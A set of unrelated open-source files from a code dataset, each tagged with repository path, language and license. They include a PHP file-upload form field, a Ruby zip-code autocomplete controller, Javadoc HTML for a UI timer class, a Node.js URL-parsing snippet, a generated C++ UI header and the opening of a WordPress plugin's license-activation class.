$input['_prefix_formcreator_field_' . $this->question->getID()][$index]; $answer_value[] = $this->saveDocument($document, $prefix); } $index++; } $this->uploadData = $answer_value; } public function hasInput($input): bool { // key with unserscore when testing unput from a requester // key without underscore when testing data from DB (display a saved answer) $key = 'formcreator_field_' . $this->question->getID(); return isset($input["_$key"]) || isset($input[$key]); } /** * Save an uploaded file into a document object, link it to the answers * and returns the document ID * @param PluginFormcreatorForm $form * @param PluginFormcreatorQuestion $question * @param array $file an item from $_FILES array * * @return integer|NULL */ private function saveDocument($file, $prefix) { $sectionTable = PluginFormcreatorSection::getTable(); $sectionFk = PluginFormcreatorSection::getForeignKeyField(); $questionTable = PluginFormcreatorQuestion::getTable(); $formTable = PluginFormcreatorForm::getTable(); $formFk = PluginFormcreatorForm::getForeignKeyField(); $form = new PluginFormcreatorForm(); $form->getFromDBByRequest([ 'LEFT JOIN' => [ $sectionTable => [ 'FKEY' => [ $sectionTable => $formFk, $formTable => 'id' ] ], $questionTable => [ 'FKEY' => [ $sectionTable => 'id', $questionTable => $sectionFk ] ] ], 'WHERE' => [ "$questionTable.id" => $this->question->getID(), ], ]); if ($form->isNewItem()) { // A problem occured while finding the form of the field return; } $doc = new Document(); $file_data = []; $file_data["name"] = Toolbox::addslashes_deep($form->getField('name') . ' - ' . $this->question->fields['name']); $file_data["entities_id"] = isset($_SESSION['glpiactive_entity']) ? $_SESSION['glpiactive_entity'] : $form->getField('entities_id'); $file_data["is_recursive"] = $form->getField('is_recursive'); $file_data['_filename'] = [$file]; $file_data['_prefix_filename'] = [$prefix]; if ($docID = $doc->add($file_data)) { return $docID; } return null; } public function parseAnswerValues($input, $nonDestructive = false): bool { $key = 'formcreator_field_' . $this->question->getID(); if (isset($input['_tag_' . $key]) && isset($input['_' . $key]) && isset($input['_prefix_' . $key])) { $this->uploads['_' . $key] = $input['_' . $key]; $this->uploads['_prefix_' . $key] = $input['_prefix_' . $key]; $this->uploads['_tag_' . $key] = $input['_tag_' . $key]; } if (isset($input["_$key"])) { if (!is_array($input["_$key"])) { return false; } if ($this->hasInput($input)) { $this->value = __('Attached document', 'formcreator'); } return true; } if (isset($input[$key])) { // To restore input from database $this->uploadData = json_decode($input[$key]); $this->value = __('Attached document', 'formcreator'); return true; } $this->uploadData = []; $this->value = ''; return true; } public function equals($value): bool { throw new ComparisonException('Meaningless comparison'); } public function notEquals($value): bool { throw new ComparisonException('Meaningless comparison'); } public function greaterThan($value): bool { throw new ComparisonException('Meaningless comparison'); } public function lessThan($value): bool { throw new ComparisonException('Meaningless comparison'); } public function regex($value): bool { throw new ComparisonException('Meaningless comparison'); } public function isAnonymousFormCompatible(): bool { return true; } public function getHtmlIcon() { return '<i class="fa fa-file" aria-hidden="true"></i>'; } public function isVisibleField(): bool { return true; } public function isEditableField(): bool { return true; } }
smartcitiescommunity/Civikmind
plugins/formcreator/inc/field/filefield.class.php
PHP
gpl-2.0
9,994
class AutocompleteController < ApplicationController def zip zip = Patient::Zipcode.find_by_zip(params[:zip]) if zip zip = { :found => true, :zip => zip.zip, :state => zip.state, :city => zip.city } else zip = { :found => false } end respond_to do |format| format.json { render :json => zip.to_json } end end def city cities = Patient::Zipcode.where("city ILIKE ?", "#{params[:term]}%"). select("DISTINCT city").map(&:city) respond_to do |format| format.json { render :json => cities.to_json } end end end
mission-of-mercy/minnesota
app/controllers/autocomplete_controller.rb
Ruby
gpl-2.0
627
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_04) on Thu May 15 10:36:25 IDT 2014 --> <title>UITimer (Codename One API)</title> <meta name="date" content="2014-05-15"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="UITimer (Codename One API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/codename1/ui/util/UIBuilder.html" title="class in com.codename1.ui.util"><span class="strong">Prev Class</span></a></li> <li>Next Class</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/codename1/ui/util/UITimer.html" target="_top">Frames</a></li> <li><a href="UITimer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">com.codename1.ui.util</div> <h2 title="Class UITimer" class="title">Class UITimer</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li><a href="../../../../java/lang/Object.html" title="class in java.lang">java.lang.Object</a></li> <li> <ul class="inheritance"> <li>com.codename1.ui.util.UITimer</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <br> <pre>public class <span class="strong">UITimer</span> extends <a href="../../../../java/lang/Object.html" title="class in java.lang">Object</a></pre> <div class="block">Simple timer callback that is invoked on the CodenameOne EDT thread rather than on a separate thread. Notice that the accuracy of this timer is very low! A timer must be linked to a specific form</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier</th> <th class="colLast" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>protected </code></td> <td class="colLast"><code><strong><a href="../../../../com/codename1/ui/util/UITimer.html#UITimer()">UITimer</a></strong>()</code> <div class="block">This constructor is useful when deriving this class to implement a timer.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../com/codename1/ui/util/UITimer.html#UITimer(java.lang.Runnable)">UITimer</a></strong>(<a href="../../../../java/lang/Runnable.html" title="interface in java.lang">Runnable</a>&nbsp;r)</code> <div class="block">Constructor that accepts a runnable to invoke on timer elapse</div> </td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method_summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span>Methods</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../com/codename1/ui/util/UITimer.html#cancel()">cancel</a></strong>()</code> <div class="block">Stops executing the timer</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../com/codename1/ui/util/UITimer.html#schedule(int, boolean, com.codename1.ui.Form)">schedule</a></strong>(int&nbsp;timeMillis, boolean&nbsp;repeat, <a href="../../../../com/codename1/ui/Form.html" title="class in com.codename1.ui">Form</a>&nbsp;bound)</code> <div class="block">Binds the timer to start at the given schedule</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods_inherited_from_class_java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.<a href="../../../../java/lang/Object.html" title="class in java.lang">Object</a></h3> <code><a href="../../../../java/lang/Object.html#equals(java.lang.Object)">equals</a>, <a href="../../../../java/lang/Object.html#getClass()">getClass</a>, <a href="../../../../java/lang/Object.html#hashCode()">hashCode</a>, <a href="../../../../java/lang/Object.html#notify()">notify</a>, <a href="../../../../java/lang/Object.html#notifyAll()">notifyAll</a>, <a href="../../../../java/lang/Object.html#toString()">toString</a>, <a href="../../../../java/lang/Object.html#wait()">wait</a>, <a href="../../../../java/lang/Object.html#wait(long)">wait</a>, <a href="../../../../java/lang/Object.html#wait(long, int)">wait</a></code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="UITimer()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>UITimer</h4> <pre>protected&nbsp;UITimer()</pre> <div class="block">This constructor is useful when deriving this class to implement a timer.</div> </li> </ul> <a name="UITimer(java.lang.Runnable)"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>UITimer</h4> <pre>public&nbsp;UITimer(<a href="../../../../java/lang/Runnable.html" title="interface in java.lang">Runnable</a>&nbsp;r)</pre> <div class="block">Constructor that accepts a runnable to invoke on timer elapse</div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>r</code> - runnable instance</dd></dl> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method_detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="schedule(int, boolean, com.codename1.ui.Form)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>schedule</h4> <pre>public&nbsp;void&nbsp;schedule(int&nbsp;timeMillis, boolean&nbsp;repeat, <a href="../../../../com/codename1/ui/Form.html" title="class in com.codename1.ui">Form</a>&nbsp;bound)</pre> <div class="block">Binds the timer to start at the given schedule</div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>timeMillis</code> - the time from now in milliseconds</dd><dd><code>repeat</code> - whether the timer repeats</dd><dd><code>bound</code> - the form to which the timer is bound</dd></dl> </li> </ul> <a name="cancel()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>cancel</h4> <pre>public&nbsp;void&nbsp;cancel()</pre> <div class="block">Stops executing the timer</div> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/codename1/ui/util/UIBuilder.html" title="class in com.codename1.ui.util"><span class="strong">Prev Class</span></a></li> <li>Next Class</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/codename1/ui/util/UITimer.html" target="_top">Frames</a></li> <li><a href="UITimer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
shannah/cn1
CodenameOne/javadoc/com/codename1/ui/util/UITimer.html
HTML
gpl-2.0
11,095
var url = require('url'); var urlStr = 'http://www.smartisan.com/jianguopro/?name=t2&price=1499#overview'; // var result = url.parse(urlStr); var result = url.parse(urlStr, true, true); console.log(result);
highmind/Study
NodeJS/3.Node常用API/1.url/1.url.js
JavaScript
gpl-2.0
207
////////////////////////////////////////////////////////////////////// // This file was auto-generated by codelite's wxCrafter Plugin // wxCrafter project file: wxcrafter.wxcp // Do not modify this file by hand! ////////////////////////////////////////////////////////////////////// #ifndef CODELITE_PLUGIN_WXCRAFTER_BASE_CLASSES_H #define CODELITE_PLUGIN_WXCRAFTER_BASE_CLASSES_H #include <wx/settings.h> #include <wx/xrc/xmlres.h> #include <wx/xrc/xh_bmp.h> #include <wx/dialog.h> #include <wx/iconbndl.h> #include <wx/artprov.h> #include <wx/sizer.h> #include <wx/stc/stc.h> #include <wx/button.h> #include <wx/panel.h> #include <wx/ribbon/bar.h> #include <wx/ribbon/art.h> #include <wx/ribbon/page.h> #include <wx/ribbon/panel.h> #include <wx/ribbon/buttonbar.h> #include <wx/splitter.h> #include <wx/filepicker.h> #include <wx/stattext.h> #include <wx/textctrl.h> #include <wx/treectrl.h> #include "clFileViwerTreeCtrl.h" #include <wx/dataview.h> #include <wx/listbox.h> #include <wx/scrolwin.h> #include <wx/statbmp.h> #include <wx/popupwin.h> #include <wx/timer.h> #if wxVERSION_NUMBER >= 2900 #include <wx/persist.h> #include <wx/persist/toplevel.h> #include <wx/persist/bookctrl.h> #include <wx/persist/treebook.h> #endif #include "codelite_exports.h" class WXDLLIMPEXP_SDK EditDlgBase : public wxDialog { protected: wxStyledTextCtrl* m_stc10; wxButton* m_button6; wxButton* m_button8; protected: public: wxStyledTextCtrl* GetStc10() { return m_stc10; } wxButton* GetButton6() { return m_button6; } wxButton* GetButton8() { return m_button8; } EditDlgBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = _("Edit Text"), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(-1,-1), long style = wxDEFAULT_DIALOG_STYLE|wxRESIZE_BORDER); virtual ~EditDlgBase(); }; class WXDLLIMPEXP_SDK DiffSideBySidePanelBase : public wxPanel { public: enum { ID_TOOL_COPY_DIFF_LEFT_TO_RIGHT = 1001, ID_TOOL_COPY_DIFF_RIGHT_TO_LEFT = 1002, ID_TOOL_COPY_FILE_LEFT_TO_RIGHT = 1003, ID_TOOL_COPY_FILE_RIGHT_TO_LEFT = 1004, ID_TOOL_SAVE = 1005, ID_VIEW_HORIZONTAL = 1006, ID_VIEW_SINGLE = 1007, ID_VIEW_VRTICAL = 1008, }; protected: wxRibbonBar* m_ribbonBar; wxRibbonPage* m_ribbonPage43; wxRibbonPanel* m_ribbonPanel47; wxRibbonButtonBar* m_ribbonButtonBar49; wxRibbonPanel* m_ribbonPanel83; wxRibbonButtonBar* m_ribbonButtonBar85; wxRibbonPanel* m_ribbonPanel121; wxRibbonButtonBar* m_ribbonButtonBar123; wxSplitterWindow* m_splitter; wxPanel* m_splitterPageLeft; wxFilePickerCtrl* m_filePickerLeft; wxStyledTextCtrl* m_stcLeft; wxStaticText* m_staticTextLeft; wxPanel* m_splitterPageRight; wxFilePickerCtrl* m_filePickerRight; wxStyledTextCtrl* m_stcRight; wxStaticText* m_staticTextRight; protected: virtual void OnRefreshDiff(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnRefreshDiffUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnNextDiffSequence(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnNextDiffUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnPrevDiffSequence(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnPrevDiffUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnCopyLeftToRightUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnCopyLeftToRight(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnCopyLeftToRightMenu(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnCopyRightToLeftUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnCopyRightToLeft(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnCopyRightToLeftMenu(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnCopyFileLeftToRight(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnCopyFileFromRight(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnSaveChanges(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnSaveChangesUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnVertical(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnVerticalUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnHorizontal(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnHorizontalUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnSingleView(wxRibbonButtonBarEvent& event) { event.Skip(); } virtual void OnSingleUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnLeftPickerUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnLeftStcPainted(wxStyledTextEvent& event) { event.Skip(); } virtual void OnMouseWheel(wxMouseEvent& event) { event.Skip(); } virtual void OnRightPickerUI(wxUpdateUIEvent& event) { event.Skip(); } virtual void OnRightStcPainted(wxStyledTextEvent& event) { event.Skip(); } public: wxRibbonBar* GetRibbonBar() { return m_ribbonBar; } wxFilePickerCtrl* GetFilePickerLeft() { return m_filePickerLeft; } wxStyledTextCtrl* GetStcLeft() { return m_stcLeft; } wxStaticText* GetStaticTextLeft() { return m_staticTextLeft; } wxPanel* GetSplitterPageLeft() { return m_splitterPageLeft; } wxFilePickerCtrl* GetFilePickerRight() { return m_filePickerRight; } wxStyledTextCtrl* GetStcRight() { return m_stcRight; } wxStaticText* GetStaticTextRight() { return m_staticTextRight; } wxPanel* GetSplitterPageRight() { return m_splitterPageRight; } wxSplitterWindow* GetSplitter() { return m_splitter; } DiffSideBySidePanelBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(-1,-1), long style = wxTAB_TRAVERSAL); virtual ~DiffSideBySidePanelBase(); }; class WXDLLIMPEXP_SDK clGetTextFromUserBaseDialog : public wxDialog { protected: wxStaticText* m_staticTextCaption; wxTextCtrl* m_textCtrl; wxStdDialogButtonSizer* m_stdBtnSizer137; wxButton* m_buttonCancel; wxButton* m_buttonOK; protected: public: wxStaticText* GetStaticTextCaption() { return m_staticTextCaption; } wxTextCtrl* GetTextCtrl() { return m_textCtrl; } clGetTextFromUserBaseDialog(wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = wxT(""), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(-1,-1), long style = wxDEFAULT_DIALOG_STYLE|wxRESIZE_BORDER); virtual ~clGetTextFromUserBaseDialog(); }; class WXDLLIMPEXP_SDK clTreeCtrlPanelBase : public wxPanel { protected: clFileViewerTreeCtrl* m_treeCtrl; protected: virtual void OnItemExpanding(wxTreeEvent& event) { event.Skip(); } virtual void OnItemActivated(wxTreeEvent& event) { event.Skip(); } virtual void OnContextMenu(wxTreeEvent& event) { event.Skip(); } public: clFileViewerTreeCtrl* GetTreeCtrl() { return m_treeCtrl; } clTreeCtrlPanelBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(500,300), long style = wxTAB_TRAVERSAL); virtual ~clTreeCtrlPanelBase(); }; class NotebookNavigationDlgBase : public wxDialog { protected: wxPanel* m_panel161; wxDataViewListCtrl* m_dvListCtrl; protected: virtual void OnKeyDown(wxKeyEvent& event) { event.Skip(); } virtual void OnKeyUp(wxKeyEvent& event) { event.Skip(); } virtual void OnItemActivated(wxDataViewEvent& event) { event.Skip(); } public: wxDataViewListCtrl* GetDvListCtrl() { return m_dvListCtrl; } wxPanel* GetPanel161() { return m_panel161; } NotebookNavigationDlgBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = _("Select Tab"), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(-1,-1), long style = wxRESIZE_BORDER); virtual ~NotebookNavigationDlgBase(); }; class clTreeCtrlPanelDefaultPageBase : public wxPanel { protected: wxPanel* m_panel169; wxStaticText* m_staticText177; protected: virtual void OnDefaultPageContextMenu(wxContextMenuEvent& event) { event.Skip(); } public: wxStaticText* GetStaticText177() { return m_staticText177; } wxPanel* GetPanel169() { return m_panel169; } clTreeCtrlPanelDefaultPageBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(500,300), long style = wxTAB_TRAVERSAL); virtual ~clTreeCtrlPanelDefaultPageBase(); }; class clSingleChoiceDialogBase : public wxDialog { protected: wxListBox* m_listBox; wxStdDialogButtonSizer* m_stdBtnSizer183; wxButton* m_button185; wxButton* m_button187; protected: virtual void OnOKUI(wxUpdateUIEvent& event) { event.Skip(); } public: wxListBox* GetListBox() { return m_listBox; } clSingleChoiceDialogBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = wxT(""), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(-1,-1), long style = wxDEFAULT_DIALOG_STYLE); virtual ~clSingleChoiceDialogBase(); }; class WXDLLIMPEXP_SDK clImageViewerBase : public wxPanel { protected: wxScrolledWindow* m_scrollWin196; wxStaticBitmap* m_staticBitmap; protected: public: wxStaticBitmap* GetStaticBitmap() { return m_staticBitmap; } wxScrolledWindow* GetScrollWin196() { return m_scrollWin196; } clImageViewerBase(wxWindow* parent, wxWindowID id = wxID_ANY, const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize(500,300), long style = wxTAB_TRAVERSAL); virtual ~clImageViewerBase(); }; class WXDLLIMPEXP_SDK clResizableTooltipBase : public wxPopupWindow { protected: wxPanel* m_mainPanel; wxTreeCtrl* m_treeCtrl; wxPanel* m_panelStatus; wxStaticText* m_staticText236; wxTimer* m_timerCheckMousePos; protected: virtual void OnItemExpanding(wxTreeEvent& event) { event.Skip(); } virtual void OnStatusEnterWindow(wxMouseEvent& event) { event.Skip(); } virtual void OnStatusLeaveWindow(wxMouseEvent& event) { event.Skip(); } virtual void OnStatusBarMotion(wxMouseEvent& event) { event.Skip(); } virtual void OnStatusBarLeftUp(wxMouseEvent& event) { event.Skip(); } virtual void OnStatusBarLeftDown(wxMouseEvent& event) { event.Skip(); } virtual void OnCaptureLost(wxMouseCaptureLostEvent& event) { event.Skip(); } virtual void OnCheckMousePosition(wxTimerEvent& event) { event.Skip(); } public: wxTreeCtrl* GetTreeCtrl() { return m_treeCtrl; } wxPanel* GetMainPanel() { return m_mainPanel; } wxStaticText* GetStaticText236() { return m_staticText236; } wxPanel* GetPanelStatus() { return m_panelStatus; } wxTimer* GetTimerCheckMousePos() { return m_timerCheckMousePos; } clResizableTooltipBase(wxWindow* parent, long style = wxBORDER_STATIC); virtual ~clResizableTooltipBase(); }; #endif
yvesdm3000/codelite
Plugin/wxcrafter_plugin.h
C
gpl-2.0
10,923
<?php /** * License handler for Easy Digital Downloads * * This class should simplify the process of adding license information * to new EDD extensions. * * @version 1.1 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if ( ! class_exists( 'EDD_License' ) ) : /** * EDD_License Class */ class EDD_License { private $file; private $license; private $item_name; private $item_shortname; private $version; private $author; private $api_url = 'https://easydigitaldownloads.com/edd-sl-api/'; /** * Class constructor * * @global array $edd_options * @param string $_file * @param string $_item_name * @param string $_version * @param string $_author * @param string $_optname * @param string $_api_url */ function __construct( $_file, $_item_name, $_version, $_author, $_optname = null, $_api_url = null ) { global $edd_options; $this->file = $_file; $this->item_name = $_item_name; $this->item_shortname = 'edd_' . preg_replace( '/[^a-zA-Z0-9_\s]/', '', str_replace( ' ', '_', strtolower( $this->item_name ) ) ); $this->version = $_version; $this->license = isset( $edd_options[ $this->item_shortname . '_license_key' ] ) ? trim( $edd_options[ $this->item_shortname . '_license_key' ] ) : ''; $this->author = $_author; $this->api_url = is_null( $_api_url ) ? $this->api_url : $_api_url; /** * Allows for backwards compatibility with old license options, * i.e. if the plugins had license key fields previously, the license * handler will automatically pick these up and use those in lieu of the * user having to reactive their license. */ if ( ! empty( $_optname ) && isset( $edd_options[ $_optname ] ) && empty( $this->license ) ) { $this->license = trim( $edd_options[ $_optname ] ); } // Setup hooks $this->includes(); $this->hooks(); //$this->auto_updater(); } /** * Include the updater class * * @access private * @return void */ private function includes() { if ( ! class_exists( 'EDD_SL_Plugin_Updater' ) ) require_once 'EDD_SL_Plugin_Updater.php'; } /** * Setup hooks * * @access private * @return void */ private function hooks() { // Register settings add_filter( 'edd_settings_licenses', array( $this, 'settings' ), 1 ); // Activate license key on settings save add_action( 'admin_init', array( $this, 'activate_license' ) ); // Deactivate license key add_action( 'admin_init', array( $this, 'deactivate_license' ) ); // Updater add_action( 'admin_init', array( $this, 'auto_updater' ), 0 ); add_action( 'admin_notices', array( $this, 'notices' ) ); } /** * Auto updater * * @access private * @global array $edd_options * @return void */ public function auto_updater() { if ( 'valid' !== get_option( $this->item_shortname . '_license_active' ) ) return; // Setup the updater $edd_updater = new EDD_SL_Plugin_Updater( $this->api_url, $this->file, array( 'version' => $this->version, 'license' => $this->license, 'item_name' => $this->item_name, 'author' => $this->author ) ); } /** * Add license field to settings * * @access public * @param array $settings * @return array */ public function settings( $settings ) { $edd_license_settings = array( array( 'id' => $this->item_shortname . '_license_key', 'name' => sprintf( __( '%1$s License Key', 'edd' ), $this->item_name ), 'desc' => '', 'type' => 'license_key', 'options' => array( 'is_valid_license_option' => $this->item_shortname . '_license_active' ), 'size' => 'regular' ) ); return array_merge( $settings, $edd_license_settings ); } /** * Activate the license key * * @access public * @return void */ public function activate_license() { if ( ! isset( $_POST['edd_settings'] ) ) { return; } if ( ! isset( $_POST['edd_settings'][ $this->item_shortname . '_license_key' ] ) ) { return; } foreach( $_POST as $key => $value ) { if( false !== strpos( $key, 'license_key_deactivate' ) ) { // Don't activate a key when deactivating a different key return; } } if( ! current_user_can( 'manage_shop_settings' ) ) { return; } if ( 'valid' === get_option( $this->item_shortname . '_license_active' ) ) { return; } $license = sanitize_text_field( $_POST['edd_settings'][ $this->item_shortname . '_license_key' ] ); if( empty( $license ) ) { return; } // Data to send to the API $api_params = array( 'edd_action' => 'activate_license', 'license' => $license, 'item_name' => urlencode( $this->item_name ), 'url' => home_url() ); // Call the API $response = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) ); // Make sure there are no errors if ( is_wp_error( $response ) ) { return; } // Tell WordPress to look for updates set_site_transient( 'update_plugins', null ); // Decode license data $license_data = json_decode( wp_remote_retrieve_body( $response ) ); update_option( $this->item_shortname . '_license_active', $license_data->license ); if( ! (bool) $license_data->success ) { set_transient( 'edd_license_error', $license_data, 1000 ); } else { delete_transient( 'edd_license_error' ); } } /** * Deactivate the license key * * @access public * @return void */ public function deactivate_license() { if ( ! isset( $_POST['edd_settings'] ) ) return; if ( ! isset( $_POST['edd_settings'][ $this->item_shortname . '_license_key' ] ) ) return; if( ! current_user_can( 'manage_shop_settings' ) ) { return; } // Run on deactivate button press if ( isset( $_POST[ $this->item_shortname . '_license_key_deactivate' ] ) ) { // Data to send to the API $api_params = array( 'edd_action' => 'deactivate_license', 'license' => $this->license, 'item_name' => urlencode( $this->item_name ), 'url' => home_url() ); // Call the API $response = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) ); // Make sure there are no errors if ( is_wp_error( $response ) ) { return; } // Decode the license data $license_data = json_decode( wp_remote_retrieve_body( $response ) ); delete_option( $this->item_shortname . '_license_active' ); if( ! (bool) $license_data->success ) { set_transient( 'edd_license_error', $license_data, 1000 ); } else { delete_transient( 'edd_license_error' ); } } } /** * Admin notices for errors * * @access public * @return void */ public function notices() { if( ! isset( $_GET['page'] ) || 'edd-settings' !== $_GET['page'] ) { return; } if( ! isset( $_GET['tab'] ) || 'licenses' !== $_GET['tab'] ) { return; } $license_error = get_transient( 'edd_license_error' ); if( false === $license_error ) { return; } if( ! empty( $license_error->error ) ) { switch( $license_error->error ) { case 'item_name_mismatch' : $message = __( 'This license does not belong to the product you have entered it for.', 'edd' ); 